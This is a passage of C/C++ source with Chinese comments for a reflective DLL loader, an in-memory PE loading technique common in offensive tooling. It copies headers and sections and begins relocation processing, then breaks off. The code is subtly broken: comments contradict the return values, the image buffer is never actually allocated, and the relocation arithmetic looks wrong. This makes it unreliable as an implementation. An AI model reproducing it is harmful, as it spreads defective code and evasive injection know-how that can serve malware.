'\0'
;
// 确保目标字符串以 null 结尾
}
int
CompareStrings(
const
char
* str1,
const
char
* str2) {
while
(*str2 !=
'\0'
) {
if
(*str1 != *str2) {
return
0;
// 返回差值
}
str1++;
str2++;
}
return
1;
// 两个字符串完全匹配时返回0
}
// 比较两个 DLL 名称(大小写不敏感)
int
CompareDllName(
wchar_t
* dllName,
wchar_t
* targetDllName) {
size_t
i = 0;
while
(dllName[i] != L
'\0'
|| targetDllName[i] != L
'\0'
) {
// 将两个字符都转换为小写进行比较
wchar_t
ch1 = (dllName[i] >= L
'A'
&& dllName[i] <= L
'Z'
) ? dllName[i] + (L
'a'
- L
'A'
) : dllName[i];
wchar_t
ch2 = (targetDllName[i] >= L
'A'
&& targetDllName[i] <= L
'Z'
) ? targetDllName[i] + (L
'a'
- L
'A'
) : targetDllName[i];
// 如果字符不同,则返回比较结果
if
(ch1 != ch2) {
return
0;
}
i++;
}
// 如果字符串都没有结束且匹配到最后,返回 0 表示完全相等
return
1;
// 如果两个字符串完全相同,返回 0
}
// 提取 DLL 名称的函数
wchar_t
* ExtractDllName(
const
wchar_t
* fullDllName) {
wchar_t
* fileName = NULL;
wchar_t
* temp = (
wchar_t
*)fullDllName;
// 遍历并找到最后一个 '\\',获取文件名部分
while
(*temp) {
if
(*temp == L
'\\'
) {
fileName = temp + 1;
// 更新文件名的位置
}
temp++;
}
// 如果没有找到 '\\',则认为整个字符串就是文件名
if
(!fileName) {
fileName = (
wchar_t
*)fullDllName;
}
return
fileName;
}
extern
"C"
__declspec
(
dllexport
)
BOOL
ReflectLoader(
char
* pDll)
{
//获取磁盘文件的DOS头和NT头
PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll;
//赋值DOS头
PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew);
//赋值NT头
//给内存分配空间,并对pAlloc进行初始化
DWORD
ImageSize = pNTheader->OptionalHeader.SizeOfImage;
//内存空间大小
PBYTE
pAlloc = (
PBYTE
)((
ULONG_PTR
)pDll + ImageSize);
if
(pAlloc == NULL)
return
FALSE;
if
(pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE)
return
FALSE;
// 无效的头,直接退出
// 手动实现 CopyMemory 的功能
BYTE
* dst = (
BYTE
*)pAlloc;
// 目标内存地址
BYTE
* src = (
BYTE
*)pDll;
// 源内存地址
size_t
size = pNTheader->OptionalHeader.SizeOfHeaders;
// 需要复制的字节数
for
(
size_t
i = 0; i < size; ++i) {
dst[i] = src[i];
// 逐字节复制
}
//复制节区表
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNTheader +
sizeof
(IMAGE_NT_HEADERS));
DWORD
SecNum = pNTheader->FileHeader.NumberOfSections;
for
(
int
i = 0; i < SecNum; i++) {
if
(pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) {
pSec++;
continue
;
}
char
* chSrcMem = (
char
*)((
ULONG_PTR
)pDll + (
DWORD
)(pSec->PointerToRawData));
char
* chDestMem = (
char
*)((
ULONG_PTR
)pAlloc + (
DWORD
)(pSec->VirtualAddress));
DWORD
dwSizeOfRawData = pSec->SizeOfRawData;
DWORD
dwVirtualSize = pSec->Misc.VirtualSize;
for
(
DWORD
j = 0; j < dwSizeOfRawData; j++) {
chDestMem[j] = chSrcMem[j];
}
if
(dwVirtualSize > dwSizeOfRawData) {
char
* start = chDestMem + dwSizeOfRawData;
char
* end = chDestMem + dwVirtualSize;
while
(start < end) {
*start++ = 0;
}
}
pSec++;
}
//杜哥部分登场
//开始检测并加载重定位表
PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((
ULONG_PTR
)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (
ULONG_PTR
)pAlloc);
//重定位表指针通过NT结构的数据目录表查找到位置
int
SizeOfBaseReloc = pNTheader->OptionalHeader.DataDirectory[5].Size;
//重定位表的大小也在NT结构中
if
(pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL)
{
do
{
PWORD
TypeOffset = (
WORD
*)((
PBYTE
)pBaseReloc + 8);
//跳过前两个元素(不过在有的结构声明中TypeOffset不属于该结构
int
num = (pBaseReloc->SizeOfBlock - 8) / 2;
//SizeOfBlock规定的是该单元的大小以及TypeOffset是一字的
for
(
int
i = 0; i < num; i++)
{
WORD
type = TypeOffset[i] >> 12;
//TypeOffset[i] >> 12相当于在查找TypeOffset的前四字节(类型)
WORD
offset = TypeOffset[i] & 0x0FFF;
//去掉类型(前四字节)
int
differ = 0;
if
(type == 3)
{
differ = *((
ULONG_PTR
*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase;
ULONG_PTR
p = (
ULONG_PTR
)pAlloc + differ;
char
* tagetaddr = (
char
*)(
ULONG_PTR
)pAlloc + offset + pBaseReloc->VirtualAddress;
char
* fromeaddr = (
char
*)p;
for
(
int
c = 0;c < 4;c++) {